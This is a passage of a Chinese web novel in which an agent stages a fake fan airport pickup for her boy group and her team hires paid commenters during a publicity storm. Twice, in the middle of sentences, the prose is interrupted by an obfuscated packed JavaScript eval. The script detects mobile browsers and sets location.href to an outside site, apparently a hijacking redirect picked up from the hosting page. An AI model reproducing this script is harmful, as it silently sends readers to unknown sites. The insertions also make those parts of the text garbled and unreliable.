“你们就根据自己的真实反映来应对,被叫老公老婆的,就该惊讶惊讶,然后根据你们的人设来,稍微装一装纯情或者玩味一笑。” “别演太过,尽量争取一条过,在机场待久了容易被拍,记住了吗?” 三人齐声:“没问题!” 人员到齐,宫欢找了处人少的出入口,高姐和小助理正在准备拍摄要用到的横幅和应援物。 一一分发给群演们,叮嘱等下每个人要喊的名字都必须不一样,声音要卖力,如果有爆梗的额外加钱。 群演来了10多人,宫欢在众人面前走了一圈说着一些注意事项: “各位,有条件的拿手机拍视频和照片都可以啊。出神图,出梗,上热搜等等出现其中一条,我会额外发红包,拍摄时间不会很长,辛苦各位啊。” 宫欢背着手,背后的手心里拿着卷成一圈的拍摄脚本,姿态从容不迫,气场十足,乍一看真有导演的架势。 她说完后,群演里面欢呼一阵,叽叽喳喳地商量等下怎么拍出片。 场地上架了十来个机位。 高姐和小助理们各自都拿着一部手机调整拍摄角度,拍摄这种自然接机视频不能太精心设计,一切越日常自然越好。 奚亭云三人头一次见这场面,站在一起睁着眼睛到处看,助理围着他们拿出粉扑挨个补妆。 宫欢盯了会儿,看现场都准备得差不多了,走到三人旁边又交代几句: “记住我之前说的了吗?走路姿势必须好看,腿能伸多长就伸多长,想象自己是超级大巨星走在红毯上,不要给我怯场啊!” 安声跟着重复一遍:“记住了!如果有粉丝要签名可以上去签一两个,合照的时候一定要做好表情管理!” 其他两人倒没安声这么激动,只是有些无所适从地挤在一起。 宫欢眼尖地看出来,挪到旁边,拿资料本轻轻打了下萧子重,“记住没!到时候要是因为你,给我NG了,我就抽死你!好歹是个话剧演员,换个地方就不行啦?” 话剧演戏是沉浸式,机场街拍是随时会被干扰的状态,多少还是会不太一样。 萧子重偏就是那种吃不得激将法的人,本来心里还有点敲鼓,被她一说不服气地反怼:“NG?你瞧不起谁呢?我绝对没问题,一条过。” 骂完他,宫欢又转头看向奚亭云。 紧跟着充当武器的拍摄资料直直怼在奚亭云胸前,将他牢牢抵住,认真工作的宫欢看不出一点平时的影子,雷厉风行,效率很高。 她审视般地问:“你呢?” 奚亭云:“我没问题。” 算是为了提提士气吧,宫欢退后扫了三人一眼,看不出情绪地转身朝群演们拍拍手。 “各位准备一下,马上开始。” 高姐和两位助理引导众人的站位,保证机位能将三个人都拍得清清楚楚。 宫欢绕到后面的一处空地,不知从哪儿拖了个马扎,放在一边坐了上去。 现在是下午,太阳最大的时候,好在气温不高,微风轻拂。 一切就位,高姐朝宫欢挥了挥手。 宫欢拿起助理带来的喇叭,打开时摁错了按键,里面顿时传出一段地道的方言录播: “西瓜10块钱三斤,不甜不要钱了啊,无籽西瓜,10块钱三斤,吃了不窜稀,坏了不可惜……” 滋—— 宫欢不熟悉这玩意,手忙脚乱地点了两下才关掉,装作无事发生的样子将喇叭放在嘴边: “Action!” 这一声下去,群演顿时沸腾起来,一个个举起手互相拥挤叫嚷着:“啊啊啊啊哥哥看看我!哥哥我在这里!啊啊啊!” 群演周围空空荡荡,只有他们所在的地方看起来拥挤无比。 奚亭云意外地看了看旁边的队友,安声朝他们比了个OK的手势,示意按照剧本来。 剧本内的三人流程安排是安声第一个,萧子重第二个,奚亭云最后。 高姐在一个机位旁边打手势:开始走! 安声抬脚往群演粉丝所在的那条路走,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126323|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个小助理伸出手臂,做出假装阻拦的架势。 群演们非常专业,一个个垫着脚举着手机拍安声,撕心裂肺地高喊:“啊啊哥哥好帅啊啊,我喜欢你好久了!哥哥看看我!” 安声抬头看着群演,挥挥手跟她们打招呼,脚步放慢,露出个灿烂的阳光笑容,嘴角梨涡浅浅,十足的活泼少年,一下把众多群演们晃到卡了壳。 好在群演们见识过大场面,迅速反应过来,欣喜若狂地叫:“啊啊哥哥看我了!!合照!可以合照吗!!” 安声有些为难地左右看看,悄悄过来侧过脸小声说:“嘘,我们偷偷的。” 群演捂着嘴嗷嗷叫,手机都拿不稳。 安声顺势将手机接过来,转身和群演比了个心,拍了几张照片,然后将手机放回群演手里。 群演粉丝的手还在微微颤抖,安声不由得佩服,太敬业了。 然而这位群演确实是被晃到心神了,激动的脸微微发红。 远处,宫欢不知道又从哪摸出了个梨子,啃得津津有味。 她关注着三人的状态,对安声的表现很满意。 不愧是她的主C,太完美了,回去加鸡腿。 安声走到一半时,萧子重接上走位。 他的风格是偏野性痞气的,互动自然不能和安声一样,剧本里对这方面没写太细,意思是让他们看着发挥。 这玩意儿,怎么发挥。 萧子重下意识扯了扯嘴角,旁边的群演顿时又是一阵沸腾,老演员就是专业,把萧子重那下意识的小动作解析成了:“哥哥笑了!好帅嗷嗷!!好不屑一顾啊啊啊啊阿!” 萧子重:“......” 宫欢之前特意提醒他,他的表情不能太过,不然会显得很油,不知道做什么就什么都别做。 那岂不是太平平无奇了。 有两位群演举着笔,嚷嚷道:“帮我签个名,哥哥!” 萧子重下意识往前方看了眼,安声已经走到头了,于是只好转身接过笔,却找不到能签的地方,懵了下: “签哪儿?” 群演满分发挥,拉着自己的衣服说:“这里这里!签我衣服上!” 萧子重惊讶地抬眉,眼神先看向群演的眼睛,头微微动了下,又问了一次:“签这里?” 他是第一次签这玩意,还有点紧张,得到答案后,低着头认真地签下自己名字,合上笔盖还给群演,走时朝人露出爽朗笑意:“拜拜。” 萧子重的外形非常符合痞气、吊儿郎当的人设,这么一下让几个群演都有些扛不住,像是追到了真的,于是叫得更大声。 “啊啊哥哥!超喜欢你的!!萧子重帅爆了!!” “爱你!老公啊啊啊啊!” 群演身后的不远处,是平时不用的机场出口,除了几个工作人员没多少人出入。 在人声鼎沸到极点时,里面走出一个拉着行李箱的人。 她将脱落的帆布袋往肩上移了移,刚走出机场出口,就被沸腾呼喊的人群吸引去了视线。 她好奇地走近了些,行李箱脱了手,凑到人群里垫脚去看。 这么一群人挤在一起,好像是看到哪个大明星了? 旁边的女孩子们又蹦又跳,尖叫声此起彼伏,看着都非常激动。 甘惊鸿被感染到这股兴奋,觉得挺好玩,她也有样学样的,举起手蹦蹦跳跳地随着众人叫起来:“哥哥看我!啊啊啊哥哥!好爱你!” 那位哥哥似乎走到了前面,甘惊鸿索性离开这个位置,小跑着往前追了几步,边追边喊他: “别走呀,等等我!我们一家人都超喜欢哥哥!特意把房子都卖了来看你!啊啊啊好好看啊呜呜我死也值得了!” 甘惊鸿边喊边举起手挥动,身影在群演间穿梭,不一会儿就跑到了萧子重所在的位置。 “等等我!” 清脆清凉的连续几声呼唤传到了耳边,声音的穿透力很强,一下便拉住了萧子重,他抬头看去,只隐约看见一道白色身影穿过重重人群追着他。 萧子重的目光捕捉到她挥动的手臂,修长白皙,在阳光中仿佛透光。 她挤到两位群演中间,在她们腰部的空隙里钻出来,总算露出了头,看见萧子重时微微睁大眼睛,紧接着扬唇笑起来,肩膀微缩着歪了歪头。 一瞬间,时间仿佛被延长了十几倍,明明她只是穿着白色的无袖长裙,周围的所有颜色却都因她而更鲜艳绚丽。 萧子重当场宕机。 “真的好帅啊啊啊啊啊!!哥哥给我签个名吧啊啊!” 大概是群演叫累了,甘惊鸿的声音格外突出好听,一点儿也不做作,又蹦又跳地卖力呼喊。 旁边的群演见她这么给力,拍拍她鼓励道:“姐妹,你声儿真大啊,等下给你加钱!” 甘惊鸿不明所以地应了:“啊?哦哦没关系,我不收钱,就是觉得好玩。” 不远处飞来一颗梨子核,精准地砸中萧子重后脑勺,把他砸得嗷了一声捂着头:“谁啊!?” “卡——”随着这声响起,群演们叫喊声渐渐平息下去。 宫欢气势汹汹地走过来,抬手就拿剧本拍了下萧子重后脑勺: “你杵在这当电线杆啊?该往前走不走,奚亭云都被你堵在后面不知道怎么发挥了!说好的不NG呢?我看你真是——”欠抽。 “欢姐!”甘惊鸿认出来叉腰骂人的正是她心心念念的经纪人,立马从群演里钻出来跑到她面前。 宫欢一扭头就看见她,骂人的话卡在嗓子里。 甘惊鸿以为她忘了自己,两只手做出抱娃的动作:“是我啊,演妇女的甘惊鸿,就是饭局上......” “我知道,”宫欢打住她要发挥的操作,有些意外,“你怎么在这?” 甘惊鸿抓着帆布包的背带,紧张又兴奋:“我来找你啊,前几天刚把龙套戏份跑完,就马上过来了,没想到出了机场就碰见你啦。” 这倒是巧了。 宫欢左右看看,群演们在喝水中场休息,她拉过甘惊鸿说:“等下细聊,这会儿我还在拍一些接机视频,等我忙完。” 宫欢刚和甘惊鸿说完,转头就又拿剧本抽了下萧子重,凶巴巴地说:“给我重来!从中间开始!” 萧子重哎了一声,身体往后躲了躲还是被抽到,刚想回骂两句,下意识往甘惊鸿那看了眼,微微收敛起来,咳了声:“知道了知道了。” 宫欢带着甘惊鸿回到马扎旁边,演员就位,她举起喇叭喊: “Action!” 33. 接机假粉 结束拍摄时已到了下午,阳光金灿灿地铺在地面上。 宫欢正在群演组里发红包,人群渐渐散去,助理们收拾着相机道具放回商务车。 甘惊鸿绕着机场跑了一圈,满场追正在远行的行李箱,最后拖着箱子回来,一块塞上了车,拍拍手朝三人过来。 萧子重三人站在一起,和甘惊鸿大眼瞪小眼,互相打量。 为了打破尴尬,甘惊鸿率先自我介绍:“我是前段时间在C省和欢姐认识的,跑了一段时间的龙套,是个小演员,我叫甘惊鸿,很高兴认识你们。” “我——”萧子重刚张口就被人打断。 安声张嘴就是哇的一声,毫不遮掩地夸赞:“你的名字也太好听了,感觉长辈们起名的时候肯定很用心。” 甘惊鸿脑中闪过几段画面,以前她那个当编辑的妈妈说起起名这件事时,是因为追剧的时候刚好看到女主的名字…… 她僵硬地笑笑:“哈哈,算是吧。” 萧子重被抢了话,有些焦躁,又怕安声那不要钱的魅力随便发散,赶忙抢过话头: “我,我是萧子重,嗯…也是个演员,不过是话剧演员,经验不多,就七八年。” 甘惊鸿听见演员二字眼睛亮起,仿佛找到知音似的近了一步:“真的吗?您是话剧演员,那是超有分量的专业演员了。七八年诶…说老戏骨都不为过!” “没,没那么夸张。” 萧子重被人猝不及防上来一通夸赞,人一下腼腆起来,局促地站在两人之间。 甘惊鸿连连摆手:“不不不,我之前了解过的,话剧演员的含金量比我们这些跑龙套的厉害好多,您就是我的前辈呀!” “哪里哪里,一般一般。” 萧子重嘴角抑制不住地上扬,小麦色的皮肤浮上点红晕。 奚亭云微微挑眉,默默退开了一步,视线去搜寻远处忙着收尾的宫欢。 正好她忙完了,跟高姐交代几句朝几人过来。 宫欢一眼就瞧见萧子重和甘惊鸿在交谈。 某人那嚣张的气势收敛不见,变成了一副矜持内向的模样,她睁大眼睛,感觉见了鬼了。 视线一转,又看见奚亭云正在远远地朝她这望。 现在男团正在走上正轨,其他艺人也要花心思去培养,后面估计会越来越忙。 走近之后,宫欢刻意放轻脚步想捉弄一下甘和萧,她向奚亭云眨眨眼,示意他别说话暴露她。 奚亭云嘴角始终带笑,看着她由远及近,日光穿过他纤长浓密的眼睫,浅浅斑驳的光影投在脸上,琥珀色的眼瞳剔透晶莹,泛着光似的。 他点点头,无声的答应她无声的请求。 宫欢在他脸上停留片刻,总觉得时间仿佛被放慢了,昨晚那些画面又极快地在脑子里过了一遍。 宫欢走到甘惊鸿背后,猛地拍了拍人肩膀,把甘惊鸿吓了一跳,蹦着转过身脸煞白,看见是宫欢才喘了口气,拍拍胸口: “欢姐——你吓死我了。” 萧子重刚才的注意力都在甘惊鸿身上,她被吓着的同时,他也紧跟着身体哆嗦了下,发现是宫欢作弄人时,又是那副脾气: “你干嘛呢,大白天的想吓死谁啊!” 宫欢看他俩战线统一,自己势单力薄,只好撇撇嘴:“白天还能被吓到,笨啊?” “你们都互相认识了吧?”宫欢扫了三人一眼,问甘惊鸿,“不认识也没关系,时间久了就知道了。” 身后高姐他们已经收完道具,正喊道:“小欢,我们都弄完了,要不要回去?” “不用,你们先走!” 宫欢喊完转回身来,高高地仰起下巴看着众人发话道:“今天你们表现都很不错,没耽误太长时间,再加上我们来了一位新成员,大家小小的庆祝一下,下午可以吃高热量食物,但是仅限一样哦,自己选吧。” “就一样,你也太抠门了。”萧子重吐槽。 “马上就要给我公开演出了,我没让你绝食啃草,你就偷着乐去吧,还敢说我抠门?”宫欢说,“选不选,不选就回去继续训练。” “选选选,欢姐你别理他,不过,”安声嘴馋了好多天的甜食,拽住萧子重往后拉,“你们想吃什么?” 几人互相看了看,一时想不出来。 甘惊鸿注意到机场旁边的一家奶茶店,灵机一动:“要不然,大家一起喝奶茶?” “当做我们的见面欢聚,怎么样?” 萧子重今天回答得异常快:“我没问题。” 奚亭云颇觉得这话耳熟,“都可以。” 安声:“好啊好啊,只要是甜的就行,奶茶我要全糖!” 见他们都决定好了,宫欢与甘惊鸿走在前面,穿着打扮格外花哨的三人则跟在身后,众人来到奶茶店内二楼休息。 点完单等待奶茶制作,几人各自分散坐下,互相闲聊。 宫欢则坐在面朝窗的位置,拿着手机忙着和好几位大佬聊天交谈,一位是【围炉夜话】的王导,一位是【敢说敢言】的节目组工作人员。 宫欢两边来回聊,语音打字齐上阵,把自己折腾得热闹非常。 而另一边。 四人随意坐着,甘惊鸿则坐在一张单独的休息椅上,离宫欢比较近。 毕竟几个人里面,只有她和宫欢是女性,她心里下意识觉得靠近宫欢安全些。 奚亭云三人则靠坐沙发。 甘惊鸿想起刚才宫欢说的公开演出,有些好奇地问:“你们是个组合吗?过段时间会在哪里有演出啊?” “就是个小节目,”安声说,“我们刚签约没多久,资源暂时没那么好,只是一档综艺节目的中场演出。” 甘惊鸿似懂非懂,她对这些不太了解。 奶茶制作完成,店员正在叫号,五个人五杯奶茶,一个人拿不完。 奚亭云起身准备去拿,萧子重紧跟着也站起来,两人前后脚到一楼。 奚亭云刚拎起奶茶袋,就见萧子重伸手也紧接着拿起两杯,他饶有兴趣地看萧:“你今天......有点勤快。” “怎么了,我怕你拿不完啊。”萧子重没觉得自己有什么问题,手扒拉着奶茶杯看口味,“你那边什么口味?” 奚亭云绕开他往二楼走,头也不回:“宫欢点的口味。” 宫欢点了啥? 萧子重不关心,他看着剩下的三杯,索性都拎走。回到二楼时,正巧看见奚亭云将奶茶放在宫欢旁边的桌上。 总觉得,不太对劲啊。 萧子重摇摇头,拎着奶茶回到座位。 甘惊鸿和安声都凑过来拿出自己的那份,吸管扎进封口膜,安声喝到沁凉的甜味奶茶,感觉人都活过来了。 “前辈,”甘惊鸿喝了口奶茶,抱着帆布袋有些拘谨,“你之前演过什么话剧啊?我想学习一下,我表演经验还不是很足,需要多多学习磨炼自己!” 萧子重不由得坐直身体,端起来:“我啊......” 窗边。 宫欢将手机凑到嘴边,和【敢说敢言】的工作人员讨论舞台事宜: “我们这边多久可以去彩排?节目前一个星期彩排已经很赶了,舞台布景也需要沟通一下,舞台风格很重要。麻烦您了,这次毕竟是初舞台,我们这边都比较看重。” 奚亭云在旁边的座位坐下,等了片刻。 宫欢太过投入,消息一条条的发,语音一句句的没断过,持续了十来分钟才有些疲惫地靠在椅背上。 沉思了会儿,她动了动头,准备去看看艺人。 刚一转动,就看见旁边突兀出现的奚亭云,宫欢被惊吓得结巴起来:“你你,你怎么在这?” 奚亭云倒是很淡定,他将奶茶往宫欢那边又推了推:“来给你送奶茶,你一直在忙。” 奶茶杯口被人贴心地插入了吸管。 “哦...哦。”宫欢拿起来随意喝了两口,咬着吸管不知道在想什么。 脑袋里挤得全是事。 男团的舞台和彩排,关清英的剧本试镜,甘惊鸿签约的事。 她喝着奶茶眼睛看着某处就走了神。 她的视线无意识地落在奚亭云身上。 他装作喝奶茶,不经意地看她,才发现她真是走神了。 奚亭云有些无奈地身体前倾,慢慢靠近,脸一下凑近了许多,他悄悄叫了她一声:“欢欢?” 这声音,这称呼。 一下把宫欢拉回了现实,她清醒过来,看见奚亭云很近的脸,一下往后仰了仰,拉开距离,语无伦次地凶他: “你又离这么近!保持一下安全距离好不好,你这样很不礼貌!” 奚亭云慢慢退后,视线却还锁在宫欢脸上:“又,是什么意思?” “那还不是你昨天——”宫欢嘴快了,还好反应也快,立即闭嘴。 奚亭云含住吸管,吮了口奶茶咽下,微微凸起的喉结缓慢地滚动了一下,嘴唇松开吸管,他抿了抿唇,眉梢微挑,问:“昨天,怎么了?” 宫欢闭了闭眼,抬手扶住额头。 昨天到底是什么情况,她还没搞清楚,一头乱麻,根本没空细想,她的重心都放在培养上面。 但是好像,莫名其妙地,宫欢此刻的气势被他压了不少。 宫欢不喜欢这种感觉。 她花的钱,养的人,吃她的喝她的穿她的睡她的——客房,还敢反客为主了? 仅是几个思绪间,宫欢就放下手,背往后靠了靠,两腿交叠翘起,侧过身看着奚亭云。 神情姿态迅速切换。 她一只手轻托下巴,另一只手的手指在奶茶杯旁边轻点,语调放慢,气势不减:“昨天啊,我做了个梦…” “有一个人的脸离我很近。” 宫欢的脚尖漫不经心地微微晃动,手指沿着奶茶杯上下游走,眼睛却紧盯着奚亭云,身体前倾靠近,每一个字都像是对着他说的: “他在我耳边一边笑,一边吹气,我觉得很过分诶——” “为什么过分。”奚亭云问。 宫欢从座位里起身,走到奚亭云旁边,微微弯下腰,手肘搭在他肩上,在他耳边用只有两人能听到的声音说: “因为,这种事情要两个人都清醒的时候才好玩啊。” 下一秒,宫欢起身,顺手拎起包脚步不停地往外走,干脆利落地丢下句话:“走了,回家。” 众人见状纷纷站起来跟上她。 如果有人慢一步,就会发现,奚亭云的手微微颤抖地将奶茶杯放回桌上。 他将冰凉的手心贴在发烫的脸上,残留香味的空气被一次次吸入,呼出,却始终抑制不住狂乱的心跳。 - “一楼是餐厅和休息区,二楼他们男生住得多,你可以在三楼选房间。” 别墅里,高姐正跟甘惊鸿介绍别墅内部整体的布局,领着甘惊鸿在沙发上坐下,拿出简历和协议合同。 “你先看一下,简历最好填写的事无巨细,合同有疑问尽管问。” 甘惊鸿点点头便开始埋头苦写,刚写两个字看见简历上的标注,她举起简历指着那处写着“出生日期精确到时间,测算八字”: “这个也要写清楚吗?” 高姐看了眼:“要的,后面如果你的事业一直不好,我们会看情况,从星座到属相风水八字五行多方面尝试。” 甘惊鸿默默放下简历:“……还真是,用尽办法啊。” 离晚餐时间还差会,关清英从楼上下来,这几天她一直研究民国间谍的剧本,见沙发上坐着一个女孩子,签着的像是合同,靠近几步看了看: “是新的艺人?” 高姐抬头:“对,你来得正好,试镜的地点确定了。” 甘惊鸿也下意识抬头,一眼看见短发,个高干练的关清英,好感度瞬间拉满,然而目光在关清英脸上停留片刻,一下惊讶起来: “你你是——陈队长!” 陈队长是关清英在【重刑之下】里饰演的副队长角色,这部电视剧播出后获得不少大众好感度,而剧里最受欢迎的几个角色里“陈队长”当属第一,多数人偶遇关清英脱口而出的就是一声——“陈队长”。 她的粉丝受众从8岁至80岁的男女老少不计其数,只要看见她这张脸,都会随心地叫出这么个称呼。 关清英早已习惯,她并不介意,礼貌点头道:“你好。” 甘惊鸿丢下手里的签字笔,噔噔噔跑到她旁边仔细看,像是确认面前的人是真是假: “真的是你诶,我从小就看您的剧长大!每次遇到危险您都会找到关键疑点,一举拿下那些罪犯!我的梦想就是成为您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126324|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那样的人,正直,勇敢,善良无私。” “诶…您怎么在这?”甘惊鸿后知后觉地反应过来,扭头看了看高姐,想到刚才她们的对话,“欢姐也是您的经纪人!?” 关清英看她一阵,这姑娘确实年龄不大,估计二十出头,跟安声差不多,说看着她戏长大的好像挑不出毛病来。 “对,我们刚签约没多久,你也是演员吗?” 甘惊鸿点头如捣蒜:“不过比起您,我只是个很一般的小演员啦。” 关清英谦虚道:“不用尊称,叫我的名字就好。我也只是个普通演员,没什么特别,只是碰巧演了部剧,播放量比较多。” 聊过几句,两人坐回沙发,高姐将试镜地址发给关清英,顺便嘱咐道:“试镜的地方在B市,宫欢跟导演那边打过招呼了,你表演经验足,试镜肯定不成问题。” 关清英低头看手机上的地址和联系电话:“好,我等下就收拾收拾过去。” 甘惊鸿注意力全放在她们两人身上了,听见试镜之类的话题,想搭话问一问,一张嘴就卡壳了:“陈,陈…” “我叫关清英。” 甘惊鸿挠挠头,不好意思地说:“清英姐,你要接新戏了吗?是什么角色啊,我也好想接新角色。” 关清英言简意赅:“一部民国剧,角色是一位地下党间谍。” 地下党…间谍,听起来就很有发挥空间。 甘惊鸿艳羡地看着她,合同简历都顾不上写,热切地询问:“清英姐,你会怎么演这个角色啊,我之前的角色都没什么台词,要是真的有这种角色找我了,感觉还有点担心不能好好发挥。” “我看过剧本,”关清英说,“这个间谍之前一直是个......” 两人一说一听,一个认真讲解,一个专心倾听,连旁边的高姐都忽略了。 二楼,奚亭云三人换了运动服下来。 萧子重走到楼梯口,下意识探头出去,看见关清英和甘惊鸿两人互动,甘惊鸿听得认真,时不时点点头,就差拿小本子做笔记。 背后,奚亭云拿胳膊轻轻撞了撞萧子重,惹得萧子重下意识回头,就见某人意味深长地说:“论表演经验来说,还是那位陈队长靠得住。” 萧子重眉头一皱,扭头下楼:“听不懂你说什么。” 三人下了楼,刚好是晚餐时间,厨房里阿姨往外端着菜,奚亭云和安声过去帮忙。 萧子重就站在楼梯口,忍不住又往沙发那边看。 高姐忙完手头上的事,看见电脑里的提示消息—— 6:30,宫欢上次参加的【围炉夜话】那期节目,播出时间就是今天。 高姐来到大厅,准备拿出移动电子屏,看见站在那发愣的萧子重:“你很闲吗?” 萧子重被打岔,吓了一激灵。 反应过来后咳了咳,少见的没怼人,转头去厨房准备端菜。结果菜已经被全部端上桌,两位队友都坐好了,准备开吃。 “......” 奚亭云和安声都直直看着萧子重,他默不作声地找个位置坐了下来,欲盖弥彰地说:“人还没到齐呢。” 高姐没在意那么多,拖着电视屏拉出来,打开,调到和【围炉夜话】合作的某电视台。 沙发旁边的两人被吸引,止住了话头,一块儿走了过来。 纯白色边框的电视屏架在一人高的移动架上,屏幕里【围炉夜话】节目的开场刚播出,旁白热情洋溢、慷慨激昂地解说着开场白: “围炉夜话,十几位老友对坐夜谈,讲述那些不为人知的内幕往事!本期节目邀请到学术界知名人士彭老师,电影学院陈老师,以及——备受争论的超一线经纪人宫欢!” 旁白解说时,电视画面转变切换:“拍摄获奖影片【西走东奔】时,主演番位暗中竞争?” 画面变成几位影视演员的角色片段,让人下意识以为,这几人就是旁白所说的竞争番位的演员。 紧接着画面一变,出现宫欢拎着玻璃茶壶,把茶夹怼进去乱搅一通,茶汤搅得浑浊不堪的镜头,镜头紧跟着切换到某人黑着脸的画面。 旁白非常点题:“茶水风味多变,究竟合不合胃口!?” 众人都看傻了,然而不止如此。 节目非常会挑爆点剪辑,选到了宫欢回应韩雨寒事件的画面和声音。 宫欢翘起腿坐在藤椅上摊开手,风轻云淡地说出炸裂内幕:“单什么身啊,他跟前女友从高中就谈——” “有的人要作死你就让他去死吧,劝不住的,他命该如此。” 制作组在宫欢说话的场面里加入了后期文字,放大的白色文字写着: 【前女友!?火了就分手!?】 一段节目预告放完,大厅里安静的连根针掉在地上都能听见。 甘惊鸿初来乍到,之前对宫欢也有些了解,但显然她了解的还不够多。 “这,这......直接播出来了,”甘惊鸿艰难地说,“不会被打吗?” 甘惊鸿在节目里也是说话没顾忌,她以为王导会把那些剑跋扈张的内容剪辑掉,没想到关于宫欢的基本都留着。 关清英笃定地说:“不会,如果被打了可以追责。” 萧子重看见和宫欢一起泡茶的人,惊喜地抬头找人:“你和她参加了同一期节目吗?” 甘惊鸿点点头,“我就是在节目上和欢姐认识的,我还给她递钢棍了。” 萧子重没跟上脑回路:“什么东西??” 餐桌旁边,奚亭云脸色渐渐凝重,趁人不注意,拿起手机登入微博,他已经预测到接下来会出现什么风波了。 高姐感到头疼,宫欢没有和节目组商量哪些能播,哪些不能播吗? 在宫欢下楼准备来吃饭时,只见众人手中的筷子僵在半空,一双双眼睛直直地盯着那块电视屏幕,连饭都忘了吃。 屏幕里播放到宫欢直言不讳骂韩雨寒的片段,众人正看得提心吊胆,当事人走到屏幕旁边,盯着画面里的自己看了半响。 电子屏幕里的脸对照着屏幕外的脸,宫欢得出结论: “煮茶的时候水蒸气把妆弄花了一点,不过也挺好看的。” 其他人:“......” 不要用这么平常的语气啊!! 你知道自己在干嘛吗!! 34. 娱圈宫主 【围炉夜话】这期节目播放未到结尾,热搜便上了四五条。 #韩雨寒前女友是圈外人 #韩雨寒前女友写歌 #爆火就分手 晚餐后,宫欢劝众人该干嘛干嘛去。 关清英简单收拾好行李,前往B市试镜,甘惊鸿签完合同选了三楼房间,男团三人各回各屋。 奚亭云刚回到房间,便打开电脑、手机齐上阵。 他手机进入微博数据组的聊天界面,电脑登录微信找水军群。 早些时候,奚亭云在群里发过预告——晚上宫欢的【围炉夜话】播出,让粉丝们都去看,刷弹幕,提高收视率等等。 这会儿有几个人发现不对,在群里发消息问情况。 你全家知道吗:【啊啊啊欢欢又火力全开了吗!!】 我跟你们拼了:【欢欢从没停止过,她只是中场休息,都给我起来,别睡了,跟上欢欢的步伐!!】 骂死那群□□:【热搜王者申请出战!韩雨寒粉丝已经扑上来了快快快我需要支援!!】 你全家知道吗:【热搜评论里面有几个成分不明的在那乱掺和,你们知道是谁家的粉吗?】 奚亭云将所有相关的热搜都点开了一遍,翻看了大部分评论、个别骂得很凶的粉丝——个人主页关注的超话,当即反应过来。 欢欢打爆全场:【是夏信粉丝。录制节目的时候,听工作人员说嘉宾们有点矛盾,可能就是夏信闹事了,欢欢就用茶夹小小教训了一下。】 节目录制时,其他粉丝提出想要和奚亭云这位粉头一起来看宫欢,但被奚亭云挡回来了,说是录制时间很晚,不安全。 以至于那天就只有他一个人去应援。 你全家知道吗:【啊!那天发生了那么多事情?老大,你见到欢欢没,也没有照片发出来嘛?】 奚亭云视线停在这条消息上。 那几天他匆匆忙忙地赶行程,群里这些粉丝们他倒是没留意,只顾着想,怎么挽回在宫欢那岌岌可危的信任度。 身为粉丝,宫欢不但不亲近,反而戒备。 身为艺人...... 奚亭云不清楚宫欢究竟是怎么想的,她是不是知道了? 一回想当时宫欢的距离,和那句话—— 奚亭云发怔,脸上渐渐升温,他忙摇摇头将注意力集中在当前的风波上。 欢欢打爆全场:【上次欢欢赶时间,没来得及。下次一定,麻烦大家先去热搜控评,我已经买了水军,马上到。】 其他人纷纷应下。 - 大厅。 高姐将粉丝后援会的聊天内容递给宫欢看。 “粉丝出动了,”高姐说,“上次你说的那个大粉买了水军,我觉得你可能真的误会他了,等下给他发两条消息,鼓鼓劲。” 宫欢懒洋洋地瞥了眼,没搭话。 她手机上是【围炉夜话】王导发来的消息,正在跟她说——舆论要闹大了,她短时间内估计要遭受一次大抵制。 还有条消息,是牛奶品牌方的金主,邀请宫欢明天晚上参加【新星晚宴】。 【新星晚宴】是圈内每半年以来举办一次的宴会,定期邀请这半年来最受欢迎的明星和初露锋芒的新人。而晚宴的赞助商、品牌方更是多不胜数。 宫欢算不上新星,但最近风头正盛,受邀也在情理之中。 宫欢回复了牛奶品牌方后,仔细想了想,给王导发消息: 【等明天之后,舆论闹大,麻烦王导放出内幕消息——“围炉夜话”录制时,有人耍大牌拖延了节目录制。】 王导秒回:【只发这一段?】 宫欢:【多了的话,您那边不是也不好应付嘛,这一段就够了。】 王导:【妥,大经纪人你可得抗住喽。】 回完消息,宫欢加上了新星晚宴主办方的工作人员,将对方发来的时间、地点、出场次序一并转发给高姐。 “接了个晚宴的邀约,帮我约下造型师,”宫欢伸了伸懒腰,时间不早,她打了个哈欠,“明天晚上去,没什么别的事儿吧。” 高姐没她那么轻松,正联系着熟悉常用的水军,准备配合粉丝那边一起控评,双管齐下:“怎么没事,明天闹大打算怎么办?” 宫欢淡定地仿佛一切尽在掌握:“我明天参加晚宴肯定有记者啊,到时候公开解释就好了。” “哦对了,明天王导那边会放出耍大牌的内幕消息,到时候,肯定会吸引很多不明原因的网民过来乱骂。” 即使习惯了宫欢经常胡乱出牌的操作,高姐还是忍不住震惊:“你还嫌不够乱?” 宫欢笑眯起眼睛:“没事啦,他们骂得有多狠,回头就会发现自己被耍得有多蠢。” 说完,宫欢起身准备上楼睡觉,走上楼梯时,不忘了关心她辛苦的助理:“早点休息。” 休息个屁。 高姐认命地打开一堆水军群,一条条地回消息。 今晚是别想睡个安稳觉了。 不止她,同一栋别墅的二楼房间,奚亭云正在来回踱步。 他修长手指微曲,交叠起来捧着小小的手机,拇指哒哒哒地敲着26键,极快地在微博粉丝群,数据群,和企鹅群连发数条消息。 同时切换三四个微博小号去控评,发完消息,又马不停蹄地打电话给水军头子——这段时间奚亭云和水军联系颇多,嫌发消息慢干脆打电话了。 宫欢生日宴的前后风波,都有这水军头子的助力。 电话接通,对面水军头子熟络地应付:“在刷了在刷了,别催!” 